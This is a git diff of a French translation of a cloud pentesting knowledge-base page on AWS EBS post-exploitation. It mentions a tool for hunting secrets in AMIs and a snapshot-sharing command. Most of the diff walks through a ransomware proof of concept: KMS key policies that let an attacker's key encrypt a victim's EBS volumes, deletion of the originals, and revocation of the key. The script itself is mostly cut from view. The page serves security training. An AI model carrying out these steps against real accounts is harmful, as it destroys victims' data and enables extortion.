- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel est un outil conçu pour **rechercher des informations sensibles au sein d'Amazon Machine Images (AMIs) publiques ou privées**. Il automatise le processus de lancement d'instances à partir des AMIs ciblées, le montage de leurs volumes et l'analyse à la recherche de secrets potentiels ou de données sensibles.
|
||||
|
||||
### Partager EBS Snapshot
|
||||
```bash
|
||||
@@ -307,9 +311,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Une preuve de concept similaire à la démonstration de Ransomware présentée dans les notes de post-exploitation S3. KMS devrait être renommé en RMS pour Ransomware Management Service, tant il est facile à utiliser pour chiffrer divers services AWS.
|
||||
Une preuve de concept similaire à la démonstration Ransomware présentée dans les S3 post-exploitation notes. KMS devrait être renommé en RMS pour Ransomware Management Service tant il est facile de l'utiliser pour chiffrer divers services AWS.
|
||||
|
||||
Tout d'abord, depuis un compte AWS 'attacker', créez une customer managed key dans KMS. Dans cet exemple, nous laisserons AWS gérer les données de la clé pour nous, mais dans un scénario réaliste un acteur malveillant conserverait les données de la clé en dehors du contrôle d'AWS. Modifiez la key policy pour permettre à tout Principal de compte AWS d'utiliser la clé. Pour cette key policy, le nom du compte était 'AttackSim' et la règle de policy autorisant l'accès total s'appelle 'Outside Encryption'
|
||||
Tout d'abord, depuis un compte AWS 'attacker', créez une customer managed key dans KMS. Pour cet exemple nous laisserons AWS gérer les données de clé pour moi, mais dans un scénario réaliste un malicious actor conserverait les données de clé en dehors du contrôle d'AWS. Modifiez la key policy pour autoriser n'importe quel Principal de compte AWS à utiliser la clé. Pour cette key policy, le nom du compte était 'AttackSim' et la règle de policy autorisant tout accès s'appelle 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -401,7 +405,7 @@ Tout d'abord, depuis un compte AWS 'attacker', créez une customer managed key d
|
||||
]
|
||||
}
|
||||
```
|
||||
La key policy doit avoir les actions suivantes activées pour permettre de l'utiliser pour chiffrer un volume EBS :
|
||||
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -409,21 +413,21 @@ La key policy doit avoir les actions suivantes activées pour permettre de l'uti
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Maintenant que la clé publiquement accessible est disponible. Nous pouvons utiliser un compte 'victim' qui contient des instances EC2 démarrées avec des volumes EBS non chiffrés attachés. Les volumes EBS de ce compte 'victim' sont la cible de notre chiffrement ; cette attaque se déroule sous l'hypothèse d'une compromission d'un compte AWS à privilèges élevés.
|
||||
Maintenant, avec la key publique accessible à utiliser. Nous pouvons utiliser un compte 'victim' qui a des instances EC2 lancées avec des volumes EBS non chiffrés attachés. Les volumes EBS de ce compte 'victim' sont notre cible pour le chiffrement ; cette attaque se déroule sous l'hypothèse d'une compromission d'un compte AWS à hautes privilèges.
|
||||
|
||||
 
|
||||
|
||||
Similaire à l'exemple S3 ransomware. Cette attaque va créer des copies des volumes EBS attachés en utilisant des snapshots, utiliser la clé publiquement disponible du compte 'attacker' pour chiffrer les nouveaux volumes EBS, détacher ensuite les volumes EBS originaux des instances EC2 et les supprimer, puis enfin supprimer les snapshots utilisés pour créer les nouveaux volumes EBS chiffrés. 
|
||||
Similaire à l'exemple de ransomware sur S3. Cette attaque va créer des copies des volumes EBS attachés en utilisant des snapshots, utiliser la key publique disponible du compte 'attacker' pour chiffrer les nouveaux volumes EBS, puis détacher les volumes EBS originaux des instances EC2 et les supprimer, et enfin supprimer les snapshots utilisés pour créer les nouveaux volumes EBS chiffrés. 
|
||||
|
||||
Cela a pour résultat que seuls des volumes EBS chiffrés restent disponibles dans le compte.
|
||||
Cela a pour résultat de ne laisser dans le compte que des volumes EBS chiffrés.
|
||||
|
||||
|
||||
|
||||
Il est également important de noter que le script a arrêté les instances EC2 pour détacher et supprimer les volumes EBS originaux. Les volumes originaux non chiffrés ont été supprimés.
|
||||
Il est également important de noter que le script a arrêté les instances EC2 pour détacher et supprimer les volumes EBS originaux. Les volumes originaux non chiffrés ont maintenant disparu.
|
||||
|
||||
|
||||
|
||||
Ensuite, revenez à la key policy du compte 'attacker' et supprimez la règle 'Outside Encryption' de cette key policy.
|
||||
Ensuite, revenez à la key policy dans le compte 'attacker' et supprimez la règle 'Outside Encryption' de la key policy.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -494,15 +498,15 @@ Ensuite, revenez à la key policy du compte 'attacker' et supprimez la règle 'O
|
||||
]
|
||||
}
|
||||
```
|
||||
Attendez un instant que la nouvelle key policy se propage. Ensuite, retournez sur le compte 'victim' et tentez d'attacher un des volumes EBS nouvellement chiffrés. Vous verrez que vous pouvez attacher le volume.
|
||||
Attendez un moment pour que la nouvelle key policy se propage. Puis revenez au compte 'victim' et tentez d'attacher l'un des EBS volumes nouvellement chiffrés. Vous constaterez que vous pouvez attacher le volume.
|
||||
|
||||
 
|
||||
|
||||
Mais lorsque vous tentez réellement de démarrer à nouveau l'instance EC2 avec le volume EBS chiffré, cela échouera : l'état passera de 'pending' à 'stopped' indéfiniment, car le volume EBS attaché ne peut pas être déchiffré avec la key puisque la key policy ne le permet plus.
|
||||
Mais lorsque vous tentez réellement de redémarrer l'instance EC2 avec le volume EBS chiffré, ça échouera et elle passera de l'état 'pending' à l'état 'stopped' indéfiniment, car le volume EBS attaché ne peut pas être déchiffré avec la key puisque la key policy ne l'autorise plus.
|
||||
|
||||
 
|
||||
|
||||
Ceci est le script python utilisé. Il prend des identifiants AWS pour un compte 'victim' et une valeur ARN AWS publiquement accessible pour la key à utiliser pour le chiffrement. Le script créera des copies chiffrées de TOUS les volumes EBS disponibles attachés à TOUTES les instances EC2 du compte AWS ciblé, puis arrêtera chaque instance EC2, détachera les volumes EBS originaux, les supprimera, et enfin supprimera tous les snapshots utilisés durant le processus. Cela laissera uniquement des volumes EBS chiffrés dans le compte 'victim' ciblé. N'UTILISEZ CE SCRIPT QUE DANS UN ENVIRONNEMENT DE TEST, IL EST DESTRUCTIF ET SUPPRIMERA TOUS LES VOLUMES EBS ORIGINAUX. Vous pouvez les récupérer en utilisant la KMS key utilisée et les restaurer à leur état d'origine via les snapshots, mais je tiens à vous avertir qu'il s'agit, au final, d'un ransomware PoC.
|
||||
Voici le script python utilisé. Il prend des creds AWS pour un compte 'victim' et une valeur ARN AWS publiquement accessible pour la key à utiliser pour le chiffrement. Le script va créer des copies chiffrées de TOUS les EBS volumes disponibles attachés à TOUTES les instances EC2 du compte AWS ciblé, puis arrêter chaque instance EC2, détacher les EBS volumes originaux, les supprimer, et enfin supprimer tous les snapshots utilisés pendant le processus. Il ne restera que des EBS volumes chiffrés dans le compte 'victim' ciblé. N'UTILISEZ CE SCRIPT QUE DANS UN ENVIRONNEMENT DE TEST, IL EST DESTRUCTIF ET SUPPRIMERA TOUS LES EBS VOLUMES ORIGINAUX. Vous pouvez les récupérer en utilisant la KMS key utilisée et les restaurer à leur état original via les snapshots, mais je tiens à vous informer qu'il s'agit, au final, d'un ransomware PoC.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -621,8 +625,10 @@ main()
|
||||
```
|
||||
## Références
|
||||
|
||||
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- <https://www.sweet.security/blog/ecscape-understanding-iam-privilege-boundaries-in-amazon-ecs>
|
||||
- [Latacora - ECS on EC2: Combler les lacunes dans IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
- [Pentest Partners – Comment transférer des fichiers dans AWS avec SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user